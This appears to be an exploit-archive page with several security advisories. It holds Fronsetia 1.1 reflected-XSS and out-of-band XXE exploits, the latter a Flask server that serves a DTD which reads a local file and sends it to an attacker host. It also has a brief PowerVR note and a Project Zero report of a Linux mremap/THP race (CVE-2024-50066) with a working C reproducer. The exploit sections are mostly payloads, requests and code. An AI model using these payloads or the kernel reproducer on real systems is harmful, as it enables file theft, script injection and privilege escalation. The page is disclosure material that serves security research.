    # Exploit Title: Reflected XSS - fronsetiav1.1# Date: 11/2024# Exploit Author: Andrey Stoykov# Version: 1.1# Tested on: Debian 12# Blog:https://msecureltd.blogspot.com/2024/11/friday-fun-pentest-series-14-reflected.htmlReflected XSS #1 - "show_operations.jsp"Steps to Reproduce:1. Visit main page of the application.2. In the input field of "WSDL Location" enter the following payload "><imgsrc=x onerror=alert(1)>// HTTP GET RequestGET/fronsetia/show_operations.jsp?Fronsetia_WSDL=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3EHTTP/1.1Host: 192.168.78.128:8080User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0)Gecko/20100101 Firefox/133.0[...]// HTTP ResponseHTTP/1.1 200Content-Type: text/html;charset=ISO-8859-1Content-Length: 6360Date: Wed, 20 Nov 2024 19:42:15 GMTKeep-Alive: timeout=20Connection: keep-alive[...]<title> Fronsetia: "><img src=x onerror=alert(1)> </title>[...]

fronsetia 1.1 Cross Site Scripting

fronsetia version 1.1 suffers from an XML external entity injection vulnerability.

    # Exploit Title: XXE OOB - fronsetiav1.1# Date: 11/2024# Exploit Author: Andrey Stoykov# Version: 1.1# Tested on: Debian 12# Blog:https://msecureltd.blogspot.com/2024/11/friday-fun-pentest-series-15-oob-xxe.htmlXXE OOBDescription:- It was found that the application was vulnerable XXE (XML External EntityInjection)Steps to Reproduce:1. Add Python3 server to serve malicious XXE payload2. Add a file on the file system to be read via the application XXE payloadecho 123123 > /tmp/1233. Enter the following URL as inputhttp://192.168.78.128:8080/fronsetia/show_operations.jsp?Fronsetia_WSDL=http://192.168.78.1:10000/testxxeService?wsdl// Python Server Codefrom flask import Flask, Response, requestimport loggingapp = Flask(__name__)# Set up logginglogging.basicConfig(level=logging.DEBUG)@app.route('/testxxeService', defaults={'path': ''})def catch_all(path):    app.logger.debug("Serving XXE payload")    xml = """<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE data [  <!ENTITY % dtd SYSTEM "http:// 192.168.78.1:10000/data.dtd"> %dtd;]><data>&send;</data>"""    return Response(xml, mimetype='text/xml', status=200)@app.route('/data.dtd', defaults={'path': ''})def hello(path):    app.logger.debug("DTD requested")    xml = """<!ENTITY % file SYSTEM "file:///tmp/123"><!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://192.168.78.1:8000/?content=%file;'>">%eval;%exfil;"""    return Response(xml, mimetype='text/xml', status=200)if __name__ == "__main__":    app.run(host='0.0.0.0', port=10000)

fronsetia 1.1 XML Injection

PowerVR has an issue where PVRSRVAcquireProcessHandleBase() can cause psProcessHandleBase reuse when PIDs are reused.

PowerVR psProcessHandleBase Reuse

A security-relevant race between mremap() and THP code has been discovered. Reaching the buggy code typically requires the ability to create unprivileged namespaces. The bug leads to installing physical address 0 as a page table, which is likely exploitable in several ways: For example, triggering the bug in multiple processes can probably lead to unintended page table sharing, which probably can lead to stale TLB entries pointing to freed pages.

    SummaryI found a security-relevant race between mremap() and THP code. Reaching the buggy code typically requires the ability to create unprivileged namespaces. The bug leads to installing physical address 0 as a page table, which is likely exploitable in several ways: For example, triggering the bug in multiple processes can probably lead to unintended page table sharing, which probably can lead to stale TLB entries pointing to freed pages.I also found two other (untested) theoretical races, but those arguably might not even count as bugs, and I'm pretty sure they're not security bugs. I am including my analysis of the closely related non-issues 2 and 3 as context in case you're curious, but I think they're stuff we can deal with on the public list later (or maybe even just leave as-is). Feel free to ignore that part of this report.I will send a suggested patch for the security bug, but I think it's unclear if my patch is actually the right way to fix it.This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2024-12-31.For more details, see the Project Zero vulnerability disclosure policy: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.htmlSecurity bug: move_normal_pmd vs MADVISE_COLLAPSEDescriptionIn mremap(), move_page_tables() looks at the type of the PMD entry and the specified address range to figure out by which method the next chunk of page table entries should be moved. At that point, the mmap_lock is held in write mode, but no rmap locks are held. For PMD entries that point to page tables and are fully covered by the source address range, move_pgt_entry(NORMAL_PMD, ...) is called, which first takes rmap locks, then does move_normal_pmd().move_normal_pmd() takes the necessary page table locks at source and destination, then moves an entire page table from the source to the destination:        /* Clear the pmd */        pmd = *old_pmd;        pmd_clear(old_pmd);        VM_BUG_ON(!pmd_none(*new_pmd));        pmd_populate(mm, new_pmd, pmd_pgtable(pmd));        flush_tlb_range(vma, old_addr, old_addr + PMD_SIZE);The problem is: The rmap locks, which protect against concurrent page table removal by retract_page_tables() in the THP code, are only taken after we have inspected the PMD entry to decide how to move it. So we can race as follows (with two processes that have mappings of the same tmpfs file that is stored on a tmpfs mount with huge=advise):process A                      process B=========                      =========mremap  mremap_to    move_vma      move_page_tables        get_old_pmd        alloc_new_pmd                      *** PREEMPT ***                               madvise(MADV_COLLAPSE)                                 do_madvise                                   madvise_walk_vmas                                     madvise_vma_behavior                                       madvise_collapse                                         hpage_collapse_scan_file                                           collapse_file                                             retract_page_tables                                               i_mmap_lock_read(mapping)                                               pmdp_collapse_flush                                               i_mmap_unlock_read(mapping)        move_pgt_entry(NORMAL_PMD, ...)          take_rmap_locks          move_normal_pmd          drop_rmap_locksIn this case, while move_normal_pmd() expects to see a PMD entry pointing to a page table, the PMD entry has actually been cleared. So this line:pmd_populate(mm, new_pmd, pmd_pgtable(pmd));runs pmd_pgtable() on a cleared PMD entry. On typical implementations (including the X86 one), this simply masks off some bits of pmd and assumes that the remainder is a physical address - so pmd_pgtable(0) returns a pointer to the page for physical address 0. Then, pmd_populate() constructs a PMD entry that points to this physical address as a page table.So this ends up installing physical address 0 as a page table.Fixing itI guess there are two ways we could fix this:    Hold the rmap locks much more broadly in move_page_tables(). In particular, take them before inspecting the source pmd, and if we do a PMD-level move, keep them held throughout the entire move.    Add a bunch of extra recheck/retry logic.I think the first option is nicer in terms of code complexity. Moving the lock up requires a small bit of refactoring though, and the broader locking could conceivably degrade the performance of concurrent rmap access.I will send a suggested patch for the first option in a minute (and I have tested that with that patch, my reproducer no longer triggers); but we might want to do some more bikeshedding of whether this is the right way to patch it, and if yes, whether the patch is doing too little lock-dropping for performance or adds too much complexity with the lock-dropping...ReproducerI made a testcase that triggers this issue after a while and causes a splat when the kernel later tries to unmap this page table at physical address 0:#define _GNU_SOURCE#include <err.h>#include <sched.h>#include <stdio.h>#include <string.h>#include <fcntl.h>#include <signal.h>#include <stdlib.h>#include <unistd.h>#include <sys/syscall.h>#include <sys/stat.h>#include <sys/prctl.h>#include <sys/mount.h>#include <sys/mman.h>#include <sys/wait.h>#include <sys/ioctl.h>static void pin_to(int cpu) {  cpu_set_t cset;  CPU_ZERO(&cset);  CPU_SET(cpu, &cset);  if (sched_setaffinity(0, sizeof(cpu_set_t), &cset))    err(1, "set affinity");}#ifndef MADV_COLLAPSE#define MADV_COLLAPSE 25#endif#define SYSCHK(x) ({          \  typeof(x) __res = (x);      \  if (__res == (typeof(x))-1) \    err(1, "SYSCHK(" #x ")"); \  __res;                      \})static void write_file(char *name, char *buf) {  int fd = SYSCHK(open(name, O_WRONLY));  if (write(fd, buf, strlen(buf)) != strlen(buf))    err(1, "write %s", name);  close(fd);}static void write_map(char *name, int outer_id) {  char buf[100];  sprintf(buf, "0 %d 1", outer_id);  write_file(name, buf);}int main(void) {  // set up new mount ns for tmpfs with THP  int outer_uid = getuid();  int outer_gid = getgid();  SYSCHK(unshare(CLONE_NEWNS|CLONE_NEWUSER));  SYSCHK(mount(NULL, "/", NULL, MS_PRIVATE|MS_REC, NULL));  write_file("/proc/self/setgroups", "deny");  write_map("/proc/self/uid_map", outer_uid);  write_map("/proc/self/gid_map", outer_gid);  // make tmpfs with THP  SYSCHK(mount("none", "/tmp", "tmpfs", MS_NOSUID|MS_NODEV, "huge=advise"));  pin_to(0);  while (1) {    int fd = SYSCHK(open("/tmp/a", O_RDWR|O_CREAT, 0600));    void *ptr = SYSCHK(mmap((void*)0x200000UL, 0x200000, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED_NOREPLACE, fd, 0));    SYSCHK(ftruncate(fd, 0x1000));    *((volatile char *)ptr) = 'a';    SYSCHK(ftruncate(fd, 0x200000));    SYSCHK(madvise(ptr, 0x200000, MADV_HUGEPAGE));    close(fd);    SYSCHK(unlink("/tmp/a"));    int child = SYSCHK(fork());    if (child == 0) {      for (int i=0; i<512; i++)        ((volatile char *)ptr)[0x1000*i] = 'a';      struct sched_param param = { .sched_priority = 0 };      SYSCHK(sched_setscheduler(0, SCHED_IDLE, &param));      /* race (outer side, will be preempted) */      SYSCHK(mremap((void*)0x200000, 0x200000, 0x200000, MREMAP_MAYMOVE|MREMAP_FIXED, (void*)0x40000000));      return 0;    }    for (int i=0; i<512; i++)      ((volatile char *)ptr)[0x1000*i] = 'a';    usleep(10);    /* race (inner side, will preempt after timer and voluntary resched) */    int madv_res = madvise(ptr, 0x200000, MADV_COLLAPSE);    if (madv_res == -1)      fprintf(stderr, "_");    int wstatus;    SYSCHK(waitpid(child, &wstatus, 0));    SYSCHK(munmap(ptr, 0x200000));    fprintf(stderr, ".");  }}Usage:user@vm:~/collapse-vs-mremap$ gcc -o collapse-vs-mremap-2-noassist collapse-vs-mremap-2-noassist.cuser@vm:~/collapse-vs-mremap$ ./collapse-vs-mremap-2-noassist.................................................................................................................................Result on Linux 6.11 in a QEMU VM, where a bunch of non-zero data is left over in the first 0x1000 bytes of physical memory (note the pmd:00000067):[  120.427189] BUG: Bad page map in process collapse-vs-mre  pte:f000ff53f000ff53 pmd:00000067[  120.428763] addr:0000000040000000 vm_flags:200000fb anon_vma:0000000000000000 mapping:ffff888007dd70f8 index:0[  120.430526] file:a fault:shmem_fault mmap:shmem_mmap read_folio:0x0[  120.431706] CPU: 0 UID: 1000 PID: 1219 Comm: collapse-vs-mre Tainted: G        W          6.11.0 #493[  120.433591] Tainted: [W]=WARN[  120.434201] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014[  120.435849] Call Trace:[  120.436375]  <TASK>[  120.436843]  dump_stack_lvl+0x53/0x70[  120.437570]  print_bad_pte+0x4e6/0x8e0[...][  120.447625]  vm_normal_page+0x1c8/0x260[...][  120.450162]  unmap_page_range+0x914/0x3d10[...][  120.456954]  unmap_vmas+0x1cc/0x390[...][  120.461123]  exit_mmap+0x160/0x6c0[...][  120.465181]  mmput+0xa0/0x3a0[  120.465793]  do_exit+0x7cd/0x27f0[...][  120.472198]  do_group_exit+0xac/0x230[  120.472916]  __x64_sys_exit_group+0x3e/0x50[  120.473722]  x64_sys_call+0x17f3/0x1800[  120.474469]  do_syscall_64+0x4b/0x110[  120.475189]  entry_SYSCALL_64_after_hwframe+0x76/0x7e[...][  120.489560]  </TASK>On other machines where physical page 0 contains only zeroes, the error is different and the kernel complains about the mm's pagetable bytes counter being -4096 on process exit.ImpactReaching this bug requires that you can create shmem/file THP mappings - anonymous THP uses different code that doesn't zap stuff under rmap locks. File THP is gated on an experimental config flag (CONFIG_READ_ONLY_THP_FOR_FS), so on normal distro kernels you need shmem THP to hit this bug. (Some Android kernels set CONFIG_READ_ONLY_THP_FOR_FS=y, but those kernels are older than 6.6, so they're not affected.)As far as I know, getting shmem THP normally requires that you can mount your own tmpfs with the right mount flags, so on normal Linux systems you usually need the ability to create your own user+mount namespace (like my reproducer does).If you trigger this bug in two different processes, or in two different locations in the same process, you should get physical page 0 mapped in two different places. Assuming you know that a certain part of the page contains zeroes, you should be able to get page table entries installed through one of the mappings, and then access those page table entries through the other mapping of the same page table.At that point, I think several bad things can happen that could lead to privilege escalation, though I haven't tested that:    When a PTE is zapped through the page table's first mapping, TLB flushes will only be done for the first mapping, but there can be TLB entries created through the second mapping. So you could probably end up with stale TLB entries pointing to freed pages.    If VMA 1 and VMA 2 share a page table, and you install an anonymous page through VMA 1, and then use mremap() on VMA 2 to move that PTE to another location, and then munmap() VMA 1, you'll end up with an anonymous page that's only mapped into a VMA that is not associated with the page's anon_vma, which leads to kernel UAF. (See https://project-zero.issues.chromium.org/issues/42451486 and https://git.kernel.org/linus/2555283eb40d .)I think the exploitability of this bug depends on whether a struct page has been allocated for physical address 0 - but that seems to be the case at least on the two X86 systems I tested this on.Non-issue 2 (no impact): move_ptes vs MADVISE_COLLAPSEmove_ptes() locks the source and destination page tables as follows:        old_pte = pte_offset_map_lock(mm, old_pmd, old_addr, &old_ptl);        if (!old_pte)                return -EAGAIN;        new_pte = pte_offset_map_nolock(mm, new_pmd, new_addr, &new_ptl);        if (!new_pte) {                pte_unmap_unlock(old_pte, old_ptl);                return -EAGAIN;        }        if (new_ptl != old_ptl)                spin_lock_nested(new_ptl, SINGLE_DEPTH_NESTING);pte_offset_map_nolock() followed by manually taking the page table lock does not (unlike pte_offset_map_lock()) protect against concurrent removal of the page table via retract_page_tables(); and that can happen when need_rmap_locks is false. So I think that after this block, we can end up with new_pte pointing to a page table that has already been scheduled for RCU-delayed freeing. The good news is that (as far as I understand) this can only happen when all the PTEs in the source page table are pte_none(), so no PTEs will actually be written to the detached destination page table, so nothing bad happens.Non-issue 3 (probably no impact, untested): move_huge_pmd vs split_huge_page_to_list_to_orderThe classic way mremap() used to work is:    We make a new VMA.    We move page table entries into the new VMA with move_page_tables(), creating page tables if necessary. Only page table entries are moved; the old page tables stay where they are.    If a page table allocation fails due to OOM, or if the ->mremap handler returns an error, we use move_page_tables() to move the page table entries back to the old VMA; this is expected to always succeed, since the old page tables still exist, so page table allocation should not happen.As a comment in move_page_tables() explains:/* * On error, move entries back from new area to old, * which will succeed since page tables still there, * and then proceed to unmap new area instead of old. */However, that does not hold in the following scenario, assuming that the architecture does not define HAVE_MOVE_PMD (which permits mremap() to move entire page tables):    move_vma() calls move_page_tables()    move_page_tables() moves an anonymous huge PMD entry.    move_page_tables() tries to move more page table entries, but page table allocation fails, and the function returns early.    Another racing process causes the huge PMD entry to be split via split_huge_page_to_list_to_order() (turning the huge PMD entry into a PMD entry pointing to a page table whose PTEs point to all the subpages).    move_vma() calls move_page_tables() in the reverse direction to move PTEs back.    move_page_tables() unexpectedly needs to allocate a new page table to move the PTEs generated by the huge PMD split, which again fails. PTEs are left behind in the destination area.    do_vmi_munmap() removes the temporary destination VMA and removes the left-behind PTEs in the destination area.So in the end, an anonymous page has erroneously disappeared from the VMA, but I think that doesn't lead to any major consequences.FWIW, the architectures that define HAVE_ARCH_TRANSPARENT_HUGEPAGE without also defining HAVE_MOVE_PMD are: mips, loongarch, s390, sparc64, arc, arm.I think similar things can probably also happen on x86/arm64 if, when moving PTEs back with move_pgt_entry(HPAGE_PMD, ...), we race with a concurrent split_huge_page_to_list_to_order() such that move_huge_pmd() fails at the __pmd_trans_huge_lock() and we fall back to the move_ptes() path.CommentsAll commentsja...@google.com <ja...@google.com> #2Oct 15, 2024 11:05AMThe fix for the security bug is currently in the MM tree at https://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm.git/commit/?id=9118e3ff1212add463770537519dce4aed51cf94 , on the mm-hotfixes-unstable branch.ja...@google.com <ja...@google.com> #3Oct 22, 2024 09:28AMMarked as fixed, reassigned to ja...@google.com.Fix landed as https://git.kernel.org/linus/6fa1066fc5d00cb9f1b0e83b7ff6ef98d26ba2aa ("mm/mremap: fix move_normal_pmd/retract_page_tables race").In stable releases:    6.6.58 (2024-10-22)    6.11.5 (2024-10-22)Related CVE Number: CVE-2024-50066.Credit: Jann Horn

Latest News